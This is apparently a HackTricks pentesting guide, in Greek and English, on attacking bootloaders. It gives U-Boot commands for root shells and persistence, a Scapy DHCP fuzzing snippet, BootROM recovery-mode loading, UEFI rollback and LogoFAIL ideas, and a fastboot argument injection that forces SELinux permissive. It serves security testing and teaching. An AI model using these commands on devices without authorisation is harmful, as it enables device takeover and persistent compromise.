Δοκιμές bootloader

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Οι παρακάτω ενέργειες συνιστώνται για την τροποποίηση των ρυθμίσεων εκκίνησης της συσκευής και τη δοκιμή bootloaders όπως U-Boot και UEFI-class loaders. Επικεντρωθείτε στην απόκτηση εκτέλεσης κώδικα νωρίς (early code execution), στην αξιολόγηση μηχανισμών υπογραφής/rollback, και στην κατάχρηση των μονοπατιών recovery ή network-boot.

Related: MediaTek secure-boot bypass via bl2_ext patching:

Android Mediatek Secure Boot Bl2 Ext Bypass El3

U-Boot quick wins and environment abuse

  1. Access the interpreter shell
  • Κατά την εκκίνηση, πατήστε ένα γνωστό πλήκτρο διακοπής (συχνά οποιοδήποτε πλήκτρο, 0, space, ή μια board-specific “magic” ακολουθία) πριν εκτελεστεί το bootcmd για να μπείτε στο U-Boot prompt.
  1. Inspect boot state and variables
  • Χρήσιμες εντολές:
  • printenv (dump environment)
  • bdinfo (board info, memory addresses)
  • help bootm; help booti; help bootz (supported kernel boot methods)
  • help ext4load; help fatload; help tftpboot (available loaders)
  1. Modify boot arguments to get a root shell
  • Προσθέστε init=/bin/sh ώστε ο kernel να ανοίγει shell αντί για τον κανονικό init:
# printenv
# setenv bootargs 'console=ttyS0,115200 root=/dev/mtdblock3 rootfstype=<fstype> init=/bin/sh'
# saveenv
# boot    # or: run bootcmd
  1. Netboot from your TFTP server
  • Διαμορφώστε το δίκτυο και φορτώστε kernel/fit image από το LAN:
# setenv ipaddr 192.168.2.2      # device IP
# setenv serverip 192.168.2.1    # TFTP server IP
# saveenv; reset
# ping ${serverip}
# tftpboot ${loadaddr} zImage           # kernel
# tftpboot ${fdt_addr_r} devicetree.dtb # DTB
# setenv bootargs "${bootargs} init=/bin/sh"
# booti ${loadaddr} - ${fdt_addr_r}
  1. Persist changes via environment
  • Αν ο χώρος αποθήκευσης του env δεν είναι write‑protected, μπορείτε να διατηρήσετε τον έλεγχο:
# setenv bootcmd 'tftpboot ${loadaddr} fit.itb; bootm ${loadaddr}'
# saveenv
  • Ελέγξτε για μεταβλητές όπως bootcount, bootlimit, altbootcmd, boot_targets που επηρεάζουν fallback μονοπάτια. Λανθασμένες τιμές μπορούν να προσφέρουν επαναλαμβανόμενη πρόσβαση στο shell.
  1. Check debug/unsafe features
  • Ψάξτε για: bootdelay > 0, autoboot disabled, απεριόριστο usb start; fatload usb 0:1 ..., δυνατότητα loady/loads μέσω serial, env import από μη αξιόπιστα μέσα, και kernels/ramdisks φορτωμένα χωρίς έλεγχο υπογραφών.
  1. U-Boot image/verification testing
  • Αν η πλατφόρμα ισχυρίζεται secure/verified boot με FIT images, δοκιμάστε τόσο unsigned όσο και τροποποιημένα images:
# tftpboot ${loadaddr} fit-unsigned.itb; bootm ${loadaddr}     # should FAIL if FIT sig enforced
# tftpboot ${loadaddr} fit-signed-badhash.itb; bootm ${loadaddr} # should FAIL
# tftpboot ${loadaddr} fit-signed.itb; bootm ${loadaddr}        # should only boot if key trusted
  • Η απουσία των CONFIG_FIT_SIGNATURE/CONFIG_(SPL_)FIT_SIGNATURE ή η legacy συμπεριφορά verify=n συχνά επιτρέπει την εκκίνηση με αυθαίρετα payloads.

Network-boot surface (DHCP/PXE) and rogue servers

  1. PXE/DHCP parameter fuzzing
  • Η legacy BOOTP/DHCP υλοποίηση του U-Boot έχει παρουσιάσει προβλήματα memory‑safety. Για παράδειγμα, το CVE‑2024‑42040 περιγράφει memory disclosure μέσω crafted DHCP απαντήσεων που μπορούν να leak bytes από τη μνήμη του U-Boot πίσω στο δίκτυο. Δοκιμάστε τα μονοπάτια DHCP/PXE με υπερβολικά μακρές/ακραίες τιμές (option 67 bootfile-name, vendor options, file/servername πεδία) και παρατηρήστε για hangs/leaks.
  • Minimal Scapy snippet to stress boot parameters during netboot:
from scapy.all import *
offer = (Ether(dst='ff:ff:ff:ff:ff:ff')/
IP(src='192.168.2.1', dst='255.255.255.255')/
UDP(sport=67, dport=68)/
BOOTP(op=2, yiaddr='192.168.2.2', siaddr='192.168.2.1', chaddr=b'\xaa\xbb\xcc\xdd\xee\xff')/
DHCP(options=[('message-type','offer'),
('server_id','192.168.2.1'),
# Intentionally oversized and strange values
('bootfile_name','A'*300),
('vendor_class_id','B'*240),
'end']))
sendp(offer, iface='eth0', loop=1, inter=0.2)
  • Επίσης επικυρώστε αν τα PXE filename πεδία προωθούνται σε shell/loader λογική χωρίς sanitization όταν συνδέονται με OS‑side provisioning scripts.
  1. Rogue DHCP server command injection testing
  • Στήστε έναν rogue DHCP/PXE service και δοκιμάστε έγχυση χαρακτήρων σε πεδία filename ή options για να φτάσετε σε command interpreters σε επόμενα στάδια της αλυσίδας εκκίνησης. Το Metasploit’s DHCP auxiliary, dnsmasq, ή custom Scapy scripts δουλεύουν καλά. Βεβαιωθείτε ότι απομονώνετε το εργαστηριακό δίκτυο πρώτα.

SoC ROM recovery modes that override normal boot

Πολλά SoC εκθέτουν ένα BootROM “loader” mode που θα δεχτεί κώδικα μέσω USB/UART ακόμα και όταν τα flash images είναι μη έγκυρα. Αν τα secure-boot fuses δεν έχουν καεί, αυτό μπορεί να προσφέρει arbitrary code execution πολύ νωρίς στην αλυσίδα.

  • NXP i.MX (Serial Download Mode)
  • Tools: uuu (mfgtools3) or imx-usb-loader.
  • Example: imx-usb-loader u-boot.imx to push and run a custom U-Boot from RAM.
  • Allwinner (FEL)
  • Tool: sunxi-fel.
  • Example: sunxi-fel -v uboot u-boot-sunxi-with-spl.bin or sunxi-fel write 0x4A000000 u-boot-sunxi-with-spl.bin; sunxi-fel exe 0x4A000000.
  • Rockchip (MaskROM)
  • Tool: rkdeveloptool.
  • Example: rkdeveloptool db loader.bin; rkdeveloptool ul u-boot.bin to stage a loader and upload a custom U-Boot.

Αξιολογήστε αν η συσκευή έχει secure-boot eFuses/OTP καμένες. Αν όχι, τα BootROM download modes συχνά παρακάμπτουν οποιονδήποτε έλεγχο υψηλότερου επιπέδου (U-Boot, kernel, rootfs) εκτελώντας το πρώτο σας στάδιο payload απευθείας από SRAM/DRAM.

UEFI/PC-class bootloaders: quick checks

  1. ESP tampering and rollback testing
  • Κάντε mount το EFI System Partition (ESP) και ελέγξτε για components του loader: EFI/Microsoft/Boot/bootmgfw.efi, EFI/BOOT/BOOTX64.efi, EFI/ubuntu/shimx64.efi, grubx64.efi, vendor logo paths.
  • Δοκιμάστε να κάνετε boot με downgraded ή γνωστά ευπαθή signed boot components αν οι Secure Boot revocations (dbx) δεν είναι ενημερωμένες. Αν η πλατφόρμα εξακολουθεί να εμπιστεύεται παλιά shims/bootmanagers, συχνά μπορείτε να φορτώσετε τον δικό σας kernel ή grub.cfg από το ESP για να αποκτήσετε persistence.
  1. Boot logo parsing bugs (LogoFAIL class)
  • Πολλοί OEM/IBV firmwares ήταν ευάλωτοι σε image‑parsing σφάλματα στο DXE που επεξεργάζονται boot logos. Αν ένας επιτιθέμενος μπορεί να τοποθετήσει ένα crafted image στο ESP κάτω από ένα vendor‑specific path (π.χ., \EFI\<vendor>\logo\*.bmp) και να κάνει reboot, η εκτέλεση κώδικα κατά την early boot μπορεί να είναι δυνατή ακόμα και με Secure Boot ενεργό. Δοκιμάστε αν η πλατφόρμα δέχεται user‑supplied logos και αν αυτά τα paths είναι εγγράψιμα από το OS.

Android/Qualcomm ABL + GBL (Android 16) trust gaps

Σε συσκευές Android 16 που χρησιμοποιούν την Qualcomm ABL για να φορτώσουν τη Generic Bootloader Library (GBL), επαληθεύστε αν η ABL authenticates την UEFI app που φορτώνει από το partition efisp. Αν η ABL ελέγχει μόνο για την παρουσία μιας UEFI app και δεν επαληθεύει υπογραφές, ένα write primitive στο efisp γίνεται pre-OS unsigned code execution κατά την εκκίνηση.

Practical checks and abuse paths:

  • efisp write primitive: Χρειάζεστε έναν τρόπο να γράψετε μια custom UEFI app στο efisp (root/privileged service, OEM app bug, recovery/fastboot path). Χωρίς αυτό, το κενό στη φόρτωση του GBL δεν είναι άμεσα προσβάσιμο.
  • fastboot OEM argument injection (ABL bug): Κάποιες builds δέχονται επιπλέον tokens στο fastboot oem set-gpu-preemption και τα προσθέτουν στο kernel cmdline. Αυτό μπορεί να χρησιμοποιηθεί για να επιβληθεί permissive SELinux, επιτρέποντας εγγραφές σε προστατευμένα partitions:
fastboot oem set-gpu-preemption 0 androidboot.selinux=permissive

Αν η συσκευή έχει επιδιορθωθεί, η εντολή πρέπει να απορρίψει επιπλέον arguments.

  • Bootloader unlock via persistent flags: Ένα boot-stage payload μπορεί να αλλάξει persistent unlock flags (π.χ., is_unlocked=1, is_unlocked_critical=1) για να μιμηθεί fastboot oem unlock χωρίς OEM server/approval gates. Αυτή είναι μια μόνιμη αλλαγή μετά το επόμενο reboot.

Defensive/triage notes:

  • Επιβεβαιώστε αν η ABL εκτελεί signature verification στο GBL/UEFI payload από το efisp. Αν όχι, θεωρήστε το efisp ως μια επιφάνεια υψηλού ρίσκου για persistence.
  • Παρακολουθείστε αν οι ABL fastboot OEM handlers έχουν επιδιορθωθεί για να validate argument counts και να απορρίπτουν επιπλέον tokens.

Hardware caution

Να είστε προσεκτικοί όταν αλληλεπιδράτε με SPI/NAND flash κατά την early boot (π.χ., γειώνοντας pins για να παρακάμψετε reads) και να συμβουλεύεστε πάντα το flash datasheet. Λανθασμένα timed shorts μπορούν να καταστρέψουν τη συσκευή ή τον προγραμματιστή.

Σημειώσεις και επιπλέον συμβουλές

  • Δοκιμάστε env export -t ${loadaddr} και env import -t ${loadaddr} για να μετακινήσετε environment blobs μεταξύ RAM και storage· μερικές πλατφόρμες επιτρέπουν import env από αφαιρούμενα μέσα χωρίς authentication.
  • Για persistence σε Linux‑based systems που εκκινούν μέσω extlinux.conf, η τροποποίηση της γραμμής APPEND (για εισαγωγή init=/bin/sh ή rd.break) στο boot partition συχνά αρκεί όταν δεν εφαρμόζονται έλεγχοι υπογραφής.
  • Αν το userland παρέχει fw_printenv/fw_setenv, επαληθεύστε ότι το /etc/fw_env.config ταιριάζει με το πραγματικό env storage. Λανθασμένα offsets σας επιτρέπουν να διαβάσετε/γράψετε λάθος MTD region.

References

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks